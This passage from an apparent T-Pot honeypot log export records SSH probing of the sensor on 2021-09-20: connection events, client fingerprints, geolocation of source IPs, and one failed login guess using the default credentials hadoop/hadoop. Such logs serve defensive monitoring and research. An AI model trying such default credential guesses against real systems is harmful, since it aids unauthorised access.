"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33350, "dest_port": 22, "timestamp": "2021-09-20T11:14:31.092662", "@timestamp": "2021-09-20T11:14:31.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27428	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:23.512906+03	2021-09-20 14:15:14.565646+03	{"_id": "qwbqAnwBvYTbRNuEBSfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "b407bfae6fd0", "@version": "1", "duration": 5.435281038284302, "timestamp": "2021-09-20T11:14:23.512906Z", "@timestamp": "2021-09-20T11:14:23.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27423	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:31.093438+03	2021-09-20 14:15:14.559674+03	{"_id": "vwbqAnwBvYTbRNuEJScQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "0035bac132a3", "@version": "1", "timestamp": "2021-09-20T11:14:31.093438Z", "@timestamp": "2021-09-20T11:14:31.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27424	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:22.229009+03	2021-09-20 14:15:14.561648+03	{"_id": "nQbqAnwBvYTbRNuEASfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:33350 (192.168.176.2:22) [session: 0035bac132a3]", "session": "0035bac132a3", "@version": "1", "protocol": "ssh", "src_port": 33350, "dest_port": 22, "timestamp": "2021-09-20T11:14:22.229009Z", "@timestamp": "2021-09-20T11:14:22.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27425	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:22.231783+03	2021-09-20 14:15:14.562674+03	{"_id": "pwbqAnwBvYTbRNuEASfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0035bac132a3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:22.231783Z", "@timestamp": "2021-09-20T11:14:22.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27426	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:22.21216+03	2021-09-20 14:15:14.563674+03	{"_id": "oQbqAnwBvYTbRNuEASfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [hadoop/hadoop] failed", "session": "b407bfae6fd0", "@version": "1", "password": "hadoop", "username": "hadoop", "timestamp": "2021-09-20T11:14:22.212160Z", "@timestamp": "2021-09-20T11:14:22.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27427	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:23.501924+03	2021-09-20 14:15:14.564675+03	{"_id": "qgbqAnwBvYTbRNuEBSfM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e690b4deba37", "@version": "1", "timestamp": "2021-09-20T11:14:23.501924Z", "@timestamp": "2021-09-20T11:14:23.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27429	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:14:23.324367+03	2021-09-20 14:15:14.567648+03	{"_id": "rAbqAnwBvYTbRNuEByfC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1549419871570247, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33414, "dest_port": 22, "timestamp": "2021-09-20T11:14:23.324367Z", "@timestamp": "2021-09-20T11:14:23.324Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27430	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:14:23.501115+03	2021-09-20 14:15:14.568675+03	{"_id": "rQbqAnwBvYTbRNuECCf3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33414, "dest_port": 22, "timestamp": "2021-09-20T11:14:23.501115", "@timestamp": "2021-09-20T11:14:23.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27431	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:14:27.269581+03	2021-09-20 14:15:14.569674+03	{"_id": "tAbqAnwBvYTbRNuEFSdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 132.148.165.94:59320 (192.168.176.2:22) [session: 83e37959834b]", "session": "83e37959834b", "@version": "1", "protocol": "ssh", "src_port": 59320, "dest_port": 22, "timestamp": "2021-09-20T11:14:27.269581Z", "@timestamp": "2021-09-20T11:14:27.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27432	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:14:27.272743+03	2021-09-20 14:15:14.571647+03	{"_id": "swbqAnwBvYTbRNuEFSdu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "83e37959834b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:14:27.272743Z", "@timestamp": "2021-09-20T11:14:27.272Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27433	132.148.165.94	109.199.241.180	Suricata	2021-09-20 14:14:27.387681+03	2021-09-20 14:15:14.572674+03	{"_id": "tgbqAnwBvYTbRNuEFydl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:14:27.156093+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 843, "bytes_toserver": 1292}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "132.148.165.94", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 572147308388797, "payload": 